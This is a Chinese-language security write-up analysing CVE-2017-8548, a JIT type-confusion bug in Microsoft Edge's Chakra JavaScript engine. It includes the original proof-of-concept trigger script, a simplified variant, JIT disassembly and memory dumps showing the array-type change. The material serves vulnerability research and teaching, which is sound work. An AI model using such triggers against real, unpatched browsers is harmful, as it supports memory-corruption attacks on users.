【漏洞分析】对Edge浏览器的js解析引擎Chakra漏洞CVE-2017-8548的分析

http://p1.qhimg.com/t01720b9794303b3043.jpg

作者:Ox9A82

预估稿费:1000RMB

(本篇文章享受双倍稿费 活动链接请点击此处

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

简介

这是Microsoft Edge的javascript解析引擎Chakra的一个漏洞。这篇分析也是我这系列分析中的一部分,这一系列的漏洞虽然成因各有不同,但是我个人觉得在挖掘问题的思路上是一脉相承的。 这个漏洞与之前的几个相比比较特殊的是涉及到了代码的JIT,也就是发生了优化导致的问题。 此外这也是一个微软修了两次才修好的漏洞,韩国神童lokihardt第一次在16年12月经project zero上报了这个漏洞,编号为CVE-2017-0071。之后微软进行了错误的修补lokihardt在17年6月份再次上报了这个漏洞编号为CVE-2017-8548

漏洞概况

lokihardt提供的POC如下

'use strict';
function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}
function main() {
    let a = [1.1, 2.2];
    let b = new Uint32Array(100);
    for (let i = 0; i < 0x1000; i++)
        func(a, b, {});  // <<---------- REPLACED
    func(a, b, {valueOf: () => {
        a[0] = {};
        return 0;
    }});
    a[0].toString();
}
main();

执行POC后crash情况如下

return Merge(FromObject(RecyclableObject::FromVar(var)));
//其中var=0x1234,对0x1234转换RecyableObject导致crash

初步观察POC可以得知,func()被反复执行导致JIT,之后对JIT函数调用了用户定义的callback函数。

漏洞调试

首先简化POC进行调试,简化后POC如下:

function func(a, b, c) {
a[0] = 2.3023e-320;
b[0] = c;
    a[0] = 2.3023e-320;
}
let a = [1.1];
let b = new Uint32Array(100);
for (let i = 0; i < 0x1000; i++)
    func(a, b, {});  
let func1 = function()
{
a[0] = {};
}
func(a, b,{valueOf:func1});
a[0];

crash发生在如下函数中,0x1234不满足TaggedInt和NoTaggedIntCheck因此会被当成对象指针进行RecyclableObject::FromVar(var)

__inline ValueType ValueType::Merge(const Js::Var var) const
{
    using namespace Js;
    Assert(var);
    if(TaggedInt::Is(var))
        return Merge(GetTaggedInt());
    if(JavascriptNumber::Is_NoTaggedIntCheck(var))
    {
        return
            Merge(
                (IsUninitialized() || IsLikelyInt()) && JavascriptNumber::IsInt32_NoChecks(var)
                    ? GetInt(false)
                    : ValueType::Float);
    }
    return Merge(FromObject(RecyclableObject::FromVar(var)));
}

也就是说这里错误的把0x1234当作指针进行操作,在Chakra中发生这种情况一般都是类型混淆导致的。

JIT分析

首先通过调试获取POC中func函数JIT之后的代码片断如下

000001E5B5440172  lea         rax,[rsi-108890h]        <=== 1 
000001E5B5440179  cmp         qword ptr [r15],rax      //check vtable
000001E5B544017C  jne         000001E5B5440498      
000001E5B5440182  test        byte ptr [r15+18h],4  
000001E5B5440187  je          000001E5B54404CE  
000001E5B544018D  mov         rax,qword ptr [r15+28h] //rax=segment
000001E5B5440191  mov         ecx,dword ptr [rax+4]    //ecx=size
000001E5B5440194  cmp         ecx,0                    //check size
000001E5B5440197  jle         000001E5B54404E8  
000001E5B544019D  movsd       xmm6,mmword ptr [rdi+2CB0h]  //0x1234
000001E5B54401A6  movsd       mmword ptr [rax+18h],xmm6    //a[0] = 2.3023e-320
000001E5B54401AC  mov         rcx,r14  
000001E5B54401AF  shr         rcx,30h  
000001E5B54401B3  jne         000001E5B5440538  
000001E5B54401B9  cmp         qword ptr [r14],rsi  
000001E5B54401BC  jne         000001E5B5440538  
000001E5B54401C2  cmp         dword ptr [r14+20h],0  
000001E5B54401C7  jle         000001E5B5440556  
000001E5B54401CD  mov         rsi,qword ptr [r14+38h]  
000001E5B54401D1  mov         rcx,r13  
000001E5B54401D4  mov         rdx,rcx  
000001E5B54401D7  shr         rdx,30h  
000001E5B54401DB  cmp         rdx,1  
000001E5B54401DF  jne         000001E5B544058A   //JavascriptMath::ToInt32
000001E5B54401E5  mov         ecx,ecx  
000001E5B54401E7  mov         dword ptr [rsi],ecx  
000001E5B54401E9  movsd       mmword ptr [rax+18h],xmm6  
000001E5B54401EF  mov         rax,qword ptr [rbx-48168h]  
000001E5B54401F6  cmp         rax,qword ptr [rdi+400h]  
000001E5B54401FD  jne         000001E5B54405F6  
000001E5B5440203  mov         rsi,qword ptr [r12+0E8h]  
000001E5B544020B  mov         rax,rsi  
000001E5B544020E  shr         rax,30h  
000001E5B5440212  jne         000001E5B544064D  
000001E5B5440218  mov         rax,qword ptr [rsi+8]  
000001E5B544021C  cmp         rax,rbx  
000001E5B544021F  jne         000001E5B5440669  
000001E5B5440225  mov         rcx,qword ptr [rsi+10h]  
000001E5B5440229  mov         rbx,qword ptr [rcx+8]  
000001E5B544022D  mov         rax,rbx  
000001E5B5440230  shr         rax,30h  
000001E5B5440234  jne         000001E5B54406ED  
000001E5B544023A  mov         rax,qword ptr [rbx+8]  
000001E5B544023E  cmp         rax,qword ptr [rdi+2B0h]  
000001E5B5440245  jne         000001E5B54406C8  
000001E5B544024B  mov         rcx,qword ptr [rbx+10h]  
000001E5B544024F  mov         rsi,qword ptr [rcx+28h]  
000001E5B5440253  mov         rax,rsi  
000001E5B5440256  shr         rax,30h  
000001E5B544025A  jne         000001E5B5440749  
000001E5B5440260  mov         rax,qword ptr [rsi+8]  
000001E5B5440264  cmp         rax,qword ptr [rdi]  
000001E5B5440267  jne         000001E5B5440727

在1处r15的值指向一个JavascriptNativeFloatArray对象。 JIT代码中首先会验证r15指向的对象是否是一个合法的JavascriptNativeFloatArray对象,方法就是通过比较虚表地址。之后取出Array中的Segment,验证Segment的size域来查看Segment能否容纳元素,之后直接写入新的元素0x1234。

000001E5B544019D  movsd       xmm6,mmword ptr [rdi+2CB0h]  //0x1234
000001E5B54401A6  movsd       mmword ptr [rax+18h],xmm6    //a[0] = 2.3023e-320
在执行向Uint32Array写入时,因为poc中传递给func的参数是func1,因此它不属于TaggedInt
000001E5B54401D1  mov         rcx,r13  
000001E5B54401D4  mov         rdx,rcx  
000001E5B54401D7  shr         rdx,30h  
000001E5B54401DB  cmp         rdx,1  
000001E5B54401DF  jne         000001E5B544058A  //JavascriptMath::ToInt32

因而会跳转到0x00001E5B544058A调用JavascriptMath::ToInt32试图做一个转化。 在这个函数过程中,用户定义的func1函数就会被执行,具体情况见下面。 在下面的调用栈中,000001fdd74905a7是JIT代码,JIT代码中经过上面说过的判断调用了JavascriptMath::ToInt32,而最后流程会执行到ExecuteImplicitCall去调用用户callback函数。

ThreadContext::ExecuteImplicitCall
DynamicObject::CallToPrimitiveFunction
DynamicObject::ToPrimitiveImpl
DynamicObject::ToPrimitive
JavascriptConversion::OrdinaryToPrimitive
JavascriptConversion::MethodCallToPrimitive
JavascriptConversion::ToPrimitive
JavascriptConversion::ToInt32_Full
JavascriptMath::ToInt32_Full
JavascriptMath::ToInt32
000001fdd74905a7()

我们在之前的漏洞分析中说过对JavascriptNativeFloatArray数组添加一个非float值(比如对象)会导致数组转化为JavascriptArray,比如poc中的用户callback:

let func1 = function()
{
a[0] = {};
}

但是之前没有详细叙述过这个过程,这里描述一下数组类型转变的过程。

NativeFloatArray的转化

首先我们对JavascriptNativeFloatArray的赋值操作会调用到JavascriptNativeFloatArray::SetItem

BOOL JavascriptNativeFloatArray::SetItem(uint32 index, Var value, PropertyOperationFlags flags)
{
        double dValue;
        TypeId typeId = this->TrySetNativeFloatArrayItem(value, &dValue);
        if (typeId == TypeIds_NativeFloatArray)
        {
            this->SetItem(index, dValue);
        }
        else
        {
            this->DirectSetItemAt(index, value);
        }
        return TRUE;
    }

注意这个函数首先调用TrySetNativeFloatArrayItem。然后根据返回结果的Type_Id不同调用不同的赋值函数。 当返回的TypeId是NativeFloatArray时,调用JavascriptNativeFloatArray::SetItem 当返回的TypeId是JavascriptArray时,调用JavascriptArray::DirectSetItemAt<Var>

而负责判断值类型的函数JavascriptNativeFloatArray::TrySetNativeFloatArrayItem,当发现要设置的值不属于NativeFloatArray应该储存的范畴时,会进行转化,如下所示

TypeId JavascriptNativeFloatArray::TrySetNativeFloatArrayItem(Var value, double *dValue)
{
    if (TaggedInt::Is(value))
    {
        *dValue = (double)TaggedInt::ToInt32(value);
        return TypeIds_NativeFloatArray;
    }
    else if (JavascriptNumber::Is_NoTaggedIntCheck(value))
    {
        *dValue = JavascriptNumber::GetValue(value);
        return TypeIds_NativeFloatArray;
    }
    JavascriptNativeFloatArray::ToVarArray(this); // <=== 转化
    return TypeIds_Array;
}

之后的操作包括转化Array中已有的元素、更改虚表、设置新的Type Object等。 这些操作具体是在JavascriptNativeFloatArray::ToVarArray的子函数JavascriptNativeFloatArray::ConvertToVarArray中实现的。

//转化Array中的元素
int32 ival;
double dval = ((SparseArraySegment<double>*)seg)->elements[i];
if (JavascriptNumber::TryGetInt32Value(dval, &ival) && !TaggedInt::IsOverflow(ival))
{
    newSeg->elements[i] = TaggedInt::ToVarUnchecked(ival);
}
else
{
    newSeg->elements[i] = JavascriptNumber::ToVarWithCheck(dval, scriptContext);
}
...
//设置新的Type Object
fArray->GetType()->SetTypeId(TypeIds_Array);
...
//更改虚表
Assert(VirtualTableInfo<JavascriptNativeFloatArray>::HasVirtualTable(fArray));
VirtualTableInfo<JavascriptArray>::SetVirtualTable(fArray);
...

在进行转化前,Array内存如下

0x000001CA96B00660  00007ffd6f13f150  P?.o?...
0x000001CA96B00668  000001ca96ad9140  @????...
0x000001CA96B00670  0000000000000000  ........
0x000001CA96B00678  0000000000010005  ........
0x000001CA96B00680  0000000000000001  ........
0x000001CA96B00688  000001ca96b006a0  ?.???...
0x000001CA96B00690  000001ca96b006a0  ?.???...
0x000001CA96B00698  000001c295048930  0?.??...
0x000001CA96B006A0  0000000100000000  ........
0x000001CA96B006A8  0000000000000001  ........
0x000001CA96B006B0  0000000000000000  ........
0x000001CA96B006B8  0000000000001234  4.......

可以看到0x000001CA96B00660为NativeFloatArray虚表,0x00001ca96ad9140是指向Type对象的指针,0x00001ca96b006a0为segement指针,segment的size和length皆为1。 在进行转化之后内存的内容变化如下: 

0x000001CA96B00660  00007ffd6f13e1d8  ??.o?...
0x000001CA96B00668  000001ca96ad8fc0  ?????...
0x000001CA96B00670  0000000000000000  ........
0x000001CA96B00678  0000000000010005  ........
0x000001CA96B00680  0000000000000001  ........
0x000001CA96B00688  000001ca96b006a0  ?.???...
0x000001CA96B00690  000001ca96b006a0  ?.???...
0x000001CA96B00698  0000000000000000  ........
0x000001CA96B006A0  0000000100000000  ........
0x000001CA96B006A8  0000000000000001  ........
0x000001CA96B006B0  0000000000000000  ........
0x000001CA96B006B8  000001ca96b753e0  ?S???...

可以看到vtable、TypeId、element[0]都发生了改变,其中vtable是从JavascriptNativeFloatArray::vtable变成了JavascriptArray::vtable。对象的类型也从JavascriptNativeFloatArray变成JavascriptArray。 原来的Type对象如下所示,0x1f是原来的id值,对应的宏定义是TypeIds_NativeFloatArray 

0x0000026AFD659140  000000000000001f  ........
0x0000026AFD659148  0000026afd668000  .€f?j...
0x0000026AFD659150  0000026afd67c000  .?g?j...
0x0000026AFD659158  00007ffd6e97d480  €??n?...
0x0000026AFD659160  0000000000000000  ........
0x0000026AFD659168  0000026afd659100  .?e?j...
0x0000026AFD659170  0000000000000101  ........
0x0000026AFD659178  0000000000000000  ........
0x0000026AFD659180  00007ffd6f2ee9d0  ??.o?...
0x0000026AFD659188  0000000000001d11  ........
0x0000026AFD659190  0000000000000001  ........
0x0000026AFD659198  0000026afd674000  ........

新的Type对象如下所示,0x1f是新的id值,对应的宏定义是TypeIds_Array 

0x0000026AFD658FC0  000000000000001c  ........
0x0000026AFD658FC8  0000026afd668000  .€f?j...
0x0000026AFD658FD0  0000026afd67c000  .?g?j...
0x0000026AFD658FD8  00007ffd6e97d480  €??n?...
0x0000026AFD658FE0  0000000000000000  ........
0x0000026AFD658FE8  0000026afd658f80  €?e?j...
0x0000026AFD658FF0  0000000000000101  ........
0x0000026AFD658FF8  0000000000000000  ........
0x0000026AFD659000  00007ffd6f2ee9d0  ??.o?...
0x0000026AFD659008  0000000000001d11  ........
0x0000026AFD659010  0000000000000001  ........
0x0000026AFD659018  0000026afd674000  .@g?j...


漏洞成因

我们回过头再来看一下JIT代码,其实可以分为三段。

function func(a, b, c) {
a[0] = 2.3023e-320; //<===1
b[0] = c;           //<===2
    a[0] = 2.3023e-320; //<===3
}

第一段,对应于func中的1 代码首先验证Array的类型是否为JavascriptNativeArray,之后验证segement是否可以容纳元素,之后就是进行赋值

0000019DA4D7016E  lea         rax,[rsi-108890h]  
0000019DA4D70175  cmp         qword ptr [r15],rax      //check vtable
0000019DA4D70178  jne         0000019DA4D70494  
0000019DA4D7017E  test        byte ptr [r15+18h],4  
0000019DA4D70183  je          0000019DA4D704CC  
0000019DA4D70189  mov         rax,qword ptr [r15+28h]  //rax=segment
0000019DA4D7018D  mov         ecx,dword ptr [rax+4]    //ecx=size
0000019DA4D70190  cmp         ecx,0                    //check size
0000019DA4D70193  jle         0000019DA4D704E6  
0000019DA4D70199  movsd       xmm6,mmword ptr [rdi+2CC0h]  
0000019DA4D701A2  movsd       mmword ptr [rax+18h],xmm6  
0000019DA4D701A8  mov         rcx,r14  
0000019DA4D701AB  shr         rcx,30h  
0000019DA4D701AF  jne         0000019DA4D70536  
0000019DA4D701B5  cmp         qword ptr [r14],rsi  
0000019DA4D701B8  jne         0000019DA4D70536  
0000019DA4D701BE  cmp         dword ptr [r14+20h],0  
0000019DA4D701C3  jle         0000019DA4D70550

此时内存数据如下:

0x00000205F8280660  00007ffd6f13f150  P?.o?...
0x00000205F8280668  00000205f8259140  @?%?....
0x00000205F8280670  0000000000000000  ........
0x00000205F8280678  0000000000010005  ........
0x00000205F8280680  0000000000000001  ........
0x00000205F8280688  00000205f82806a0  ?.(?....
0x00000205F8280690  00000205f82806a0  ?.(?....
0x00000205F8280698  00000205f6818930  0???....
0x00000205F82806A0  0000000100000000  ........
0x00000205F82806A8  0000000000000001  ........
0x00000205F82806B0  0000000000000000  ........
0x00000205F82806B8  0000000000001234  4.......

第二段,对应于func中的2 代码验证了值的类型,并调用JavascriptMath::ToInt32,注意正是这里调用了用户callback

0000019DA4D701C9  mov         rsi,qword ptr [r14+38h]  
0000019DA4D701CD  mov         rcx,r13  
0000019DA4D701D0  mov         rdx,rcx  
0000019DA4D701D3  shr         rdx,30h  
0000019DA4D701D7  cmp         rdx,1  
0000019DA4D701DB  jne         0000019DA4D70584  
0000019DA4D704E6  mov         dword ptr [rdi+2D84h],20000h  
0000019DA4D704F0  lea         rcx,[rdi-831A8h]   
0000019DA4D704F7  mov         qword ptr [rdi+2DA0h],rcx  
0000019DA4D704FE  mov         rcx,195A4AF60B8h  
0000019DA4D70508  mov         rax,7FFD74DBBF10h  
0000019DA4D70512  call        rax               //JavascriptMath::ToInt32
0000019DA4D70515  jmp         0000019DA4D7028B

此时内存数据如下:

0x00000205F8280660  00007ffd6f13e1d8  ??.o?...
0x00000205F8280668  00000205f8258fc0  ??%?....
0x00000205F8280670  0000000000000000  ........
0x00000205F8280678  0000000000010005  ........
0x00000205F8280680  0000000000000001  ........
0x00000205F8280688  00000205f82806a0  ?.(?....
0x00000205F8280690  00000205f82806a0  ?.(?....
0x00000205F8280698  0000000000000000  ........
0x00000205F82806A0  0000000100000000  ........
0x00000205F82806A8  0000000000000001  ........
0x00000205F82806B0  0000000000000000  ........
0x00000205F82806B8  00000205f82f53e0  ?S/?....

可以观察到此时vtable、Type Object指针已经改变,说明此对象已经成为JavascriptArray。 注意0x00000205F82806B8处的值已经由0x000000000001234变成0x0000205f82f53e0。 而0x0000205f82f53e0其实就是callback中赋予Array的对象,证明如下:

0x00000205F82F53E0  00007ffd6f13af00  .?.o?...
0x00000205F82F53E8  00000205f825a180  //Type Object
0x00000205F825A180  000000000000001b  ........ //TypeIds_Object = 27
0x00000205F825A188  00000205f8268000  .€&?....
0x00000205F825A190  00000205f8244120   A$?....

第三段,对应于func中的3 此时执行第三次赋值操作,如果你仔细观察与第一段的区别可能就会意识到这个漏洞成因了。此时,在进行赋值操作前并没有对目标Array的类型和segment的属性做任何的验证,而是选择了直接赋值。这就执行导致了把0x1234这样一个对于JavascriptArray来说是完全非法的值(JavascriptArray中应储存TaggedInt或NoTaggedInt),从而造成了一个类型混淆。

0000019DA4D704E6  mov         dword ptr [rdi+2D84h],20000h  
0000019DA4D704F0  lea         rcx,[rdi-831A8h]  
0000019DA4D704F7  mov         qword ptr [rdi+2DA0h],rcx  
0000019DA4D704FE  mov         rcx,195A4AF60B8h  
0000019DA4D70508  mov         rax,7FFD74DBBF10h  
0000019DA4D70512  call        rax  
0000019DA4D70515  jmp         0000019DA4D7028B

总结一下,JIT代码生成的func函数时仅在第一次赋值前对目标Array进行了类型验证,这就导致了一旦在中途Array类型发生了改变,在第二赋值时就会发生类型混淆。 而在没有JIT的情况下,每次执行函数都由bytecode进行解释执行,调用相关的SetItem函数因而不会发生类型混淆。

参考链接

https://bugs.chromium.org/p/project-zero/issues/detail?id=1316&can=1&q=lokihardt%40google.com 

https://github.com/Microsoft/ChakraCore/pull/2697/commits/ff21352270c174ea21606369432909fcb1d9a0e9 

https://github.com/Microsoft/ChakraCore/pull/3166/commits/cd60f3b5c35592006caae7730760a7980857990c 

(完)